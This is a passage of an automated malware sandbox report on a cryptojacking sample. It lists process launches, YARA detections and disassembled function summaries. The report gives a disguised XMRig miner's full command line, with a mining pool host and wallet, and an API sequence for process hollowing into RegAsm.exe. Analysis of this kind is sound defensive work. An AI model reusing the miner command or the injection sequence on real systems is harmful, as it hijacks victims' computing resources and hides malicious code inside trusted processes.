Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2
Imagebase:	0x140000000
File size:	4'141'064 bytes
MD5 hash:	02569A7A91A71133D4A1023BF32AA6F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.3093772534.0000000000466000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000003.2163629523.0000000000465000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000003.2163629523.0000000000463000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.3093652919.000000000043D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000003.2064137301.0000000000464000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000003.2399480104.0000000000465000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:45:35
Start date:	23/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0xc60000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:47:49
Start date:	23/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	09:47:49
Start date:	23/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 476 -p 7632 -ip 7632
Imagebase:	0x7ff6a93d0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:47:49
Start date:	23/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7632 -s 864
Imagebase:	0x7ff6a93d0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:47:53
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2
Imagebase:	0x140000000
File size:	4'141'064 bytes
MD5 hash:	02569A7A91A71133D4A1023BF32AA6F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000002.3707277603.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.3283522965.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000002.3707277603.0000000000581000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.3184707132.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.3383726249.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:47:54
Start date:	23/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:48:50
Start date:	23/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 544 -p 6272 -ip 6272
Imagebase:	0x7ff6a93d0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:48:50
Start date:	23/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6272 -s 864
Imagebase:	0x7ff6a93d0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:48:56
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2
Imagebase:	0x140000000
File size:	4'141'064 bytes
MD5 hash:	02569A7A91A71133D4A1023BF32AA6F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.4118678441.0000000000421000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	09:48:56
Start date:	23/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	14.7%
Total number of Nodes:	842
Total number of Limit Nodes:	20

Executed Functions

Function 001E018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,001E00FF,001E00EF), ref: 001E02FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 001E030F
Wow64GetThreadContext.KERNEL32(00000110,00000000), ref: 001E032D
ReadProcessMemory.KERNELBASE(00000114,?,001E0143,00000004,00000000), ref: 001E0351
VirtualAllocEx.KERNELBASE(00000114,?,?,00003000,00000040), ref: 001E037C
WriteProcessMemory.KERNELBASE(00000114,00000000,?,?,00000000,?), ref: 001E03D4
WriteProcessMemory.KERNELBASE(00000114,00400000,?,?,00000000,?,00000028), ref: 001E041F
WriteProcessMemory.KERNELBASE(00000114,?,?,00000004,00000000), ref: 001E045D
Wow64SetThreadContext.KERNEL32(00000110,001F0000), ref: 001E0499
ResumeThread.KERNELBASE(00000110), ref: 001E04A8

Strings

ResumeThread, xrefs: 001E02C9
TerminateProcess, xrefs: 001E038B
aryA, xrefs: 001E01D3
GetP, xrefs: 001E020F
VirtualAlloc, xrefs: 001E0254
SetThreadContext, xrefs: 001E02B3
GetThreadContext, xrefs: 001E0267
ReadProcessMemory, xrefs: 001E027A
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 001E02FB
WriteProcessMemory, xrefs: 001E02A0
CreateProcessA, xrefs: 001E0241
VirtualAllocEx, xrefs: 001E028D
Load, xrefs: 001E01CB
ress, xrefs: 001E0217

Memory Dump Source

Source File: 00000000.00000002.1674829956.00000000001E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 001E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_kWYLtJ0Cn1.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 82b35dcfc36c2a2bd7d95e938c269e2015ece6127bad23bd624aca1c8bad59d8
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 97B1E57260068AAFDB60CF69CC80BDA77A5FF8C714F158524EA0CAB341D774FA418B94

Function 00FCC90D Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9d4e2dfcbfd14504dd5c583896d366168cbc076de7f7db6caaae018fb7c7fb6
Instruction ID: 74d1b713fd6930c44268dff3195cdfb3d9c3fab6129be7d808b86ec3a68053c5
Opcode Fuzzy Hash: d9d4e2dfcbfd14504dd5c583896d366168cbc076de7f7db6caaae018fb7c7fb6
Instruction Fuzzy Hash: 89E08C72911238EBCB25DF88CA05E8AF7ECEB88B10B15419AF605D3100C374DE00E7D0

Function 00FC6108 Relevance: .0, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1de4bcb73b141b582b0cb571b4a911e1f54f3f8ffa2eb27b21d741e3114bb213
Instruction ID: 61154a14019e07ba96e5a34c32b0998e4bdf3ad97dc350c72c3d265b29a556a6
Opcode Fuzzy Hash: 1de4bcb73b141b582b0cb571b4a911e1f54f3f8ffa2eb27b21d741e3114bb213
Instruction Fuzzy Hash: A4C08C7840098147CE298D109B73FE63754A391F9BF8824CCC4078BE43C52E9C82FA00

Function 00FCADA8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00FCAEB5,?,00000000,00F63ADC,00000001,00000000,?,00FCAAB2,00000000,AreFileApisANSI,00FEE6A4,AreFileApisANSI,00FCB775,00FB86D1), ref: 00FCAE69

Strings

api-ms-, xrefs: 00FCADFF
ext-ms-, xrefs: 00FCAE13

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 0d8c0748c61be8552a54676ca254534fc5613ee4e19e71b15f6c63e1c9c51789
Instruction ID: f1049ba1c5d6761554e1116c21ded671faee7310317fdc9db0da7632ab717c51
Opcode Fuzzy Hash: 0d8c0748c61be8552a54676ca254534fc5613ee4e19e71b15f6c63e1c9c51789
Instruction Fuzzy Hash: 08216D32E0121BA7CB218B22ED86F9A3728AF41778F150128F915A72C0D734FD00F6D2

Function 00FC608B Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00FC6085,00FE7ED4,?,?,?,29949A30), ref: 00FC609C
TerminateProcess.KERNEL32(00000000,?,00FC6085,00FE7ED4,?,?,?,29949A30), ref: 00FC60A3
ExitProcess.KERNEL32 ref: 00FC60B5

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5d8f3f2858a1a34d08a3c49ec5615569eac6121fc8d9914bff780e9be8939d47
Instruction ID: fa965bea1e1e50730285faf06bc6002091f983139abb1b580129fa6323936caa
Opcode Fuzzy Hash: 5d8f3f2858a1a34d08a3c49ec5615569eac6121fc8d9914bff780e9be8939d47
Instruction Fuzzy Hash: 60D09E3140814ABFCF112F61DD4FD893F29EF417567058059B90999032DF799952FA90

Function 00F63B0D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F646FA: _strlen.LIBCMT ref: 00F64712

VirtualAllocEx.KERNELBASE(000000FF,00000000,000004AC,00001000,00000040,?,0000000006:1@0000000005:@), ref: 00F63B50

Part of subcall function 00F63A4A: _Deallocate.LIBCONCRT ref: 00F63AF7

Part of subcall function 00F63663: OffsetRect.USER32(00000000,00000000,00000000), ref: 00F63734

Part of subcall function 00F64C6D: _Deallocate.LIBCONCRT ref: 00F64C7C

Strings

0000000006:1@0000000005:@, xrefs: 00F63B1F

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: Deallocate$AllocOffsetRectVirtual_strlen
String ID: 0000000006:1@0000000005:@
API String ID: 555218544-176982251
Opcode ID: 3cbd0b6dc93dda7cfa2347a99cfb563f81eb495e15aa984f83c67ce6c7610483
Instruction ID: aad0b5b437bf48619537a04a64c59685196ed84d32abeef7e5a0d65de45fc89d
Opcode Fuzzy Hash: 3cbd0b6dc93dda7cfa2347a99cfb563f81eb495e15aa984f83c67ce6c7610483
Instruction Fuzzy Hash: CA01D471A002186ADB04FB65EC53FEF7774AF85B10F104129F212772C2DE7CAA01A7A9

Function 00FA8650 Relevance: 2.5, APIs: 2, Instructions: 45
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,00000000,?,00FB4380,00000000,00000000,00000000,00000000,?,00FD13CC,29949A30,00F63ADC,00000000,00000000,00F63ADC,00000000), ref: 00FA865E
SetLastError.KERNEL32(00000000,00000000,00000000,00F63ADC,00000000,00000000,00F63ADC,00000000,00000000,?,00FBA303,?,?), ref: 00FA8694

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 04f815d89705feaf58dad0180830e519c3e4770b1f09f2f34300920cd536edb8
Instruction ID: a827e9f72763af3182dcb3e08c2b8f3ec887991cac00c1b36e59dc21ec636f3a
Opcode Fuzzy Hash: 04f815d89705feaf58dad0180830e519c3e4770b1f09f2f34300920cd536edb8
Instruction Fuzzy Hash: 2D01D6B2800249ABD710DF65C849B4AFBB8EF55760F24815AF40887200EBB5ED61EBD0

Function 00FCAE73 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b66d8ff9692dfaffb9f0f8186e1689902710b12b0734fa90a044d4f10f302f5
Instruction ID: 65064cf5ab00f726362c141f096dab2bd80976ab842873080703dc1da6a10bf5
Opcode Fuzzy Hash: 7b66d8ff9692dfaffb9f0f8186e1689902710b12b0734fa90a044d4f10f302f5
Instruction Fuzzy Hash: ED01F533A4022E5B9B158E6AED42F5A379AEBC43347258128F905CB588EA30EC41B7D1

Function 00FCA7C1 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,00F63ADC,00000000,?,00FCC62C,00000001,00000364,00000005,000000FF,00000000,00000000,?,00FA868A,00000000,?,00000000), ref: 00FCA802

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f6186957832799d534047e9cbf95c6bc193fa1abb8c2f69741b57dc7760de308
Instruction ID: 8e13f56262b5a0b51e4586abbdd07448161a5f58dca9eafa27a3bcbd16ed9400
Opcode Fuzzy Hash: f6186957832799d534047e9cbf95c6bc193fa1abb8c2f69741b57dc7760de308
Instruction Fuzzy Hash: 97F0243290412F6BEB215A728F07F5B3768BF41774B24812EA8049A0C0CA24F801B2F2

Non-executed Functions

Function 00FD9431 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(51CEB70F,2000000B,00000000,00000002,00000000,?,?,?,00FD974F,?,00000000), ref: 00FD94CA
GetLocaleInfoW.KERNEL32(51CEB70F,20001004,00000000,00000002,00000000,?,?,?,00FD974F,?,00000000), ref: 00FD94F3
GetACP.KERNEL32(?,?,00FD974F,?,00000000), ref: 00FD9508

Strings

OCP, xrefs: 00FD9485
ACP, xrefs: 00FD944F

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ae3d476637d9ecf266ce08a976ae048e193bbde7c298fb941f048e5cfce9185a
Instruction ID: 97789e69ab236576f56f4d0f1ab4e0c3f78e63cccc94a4959f3ced46ae057b3a
Opcode Fuzzy Hash: ae3d476637d9ecf266ce08a976ae048e193bbde7c298fb941f048e5cfce9185a
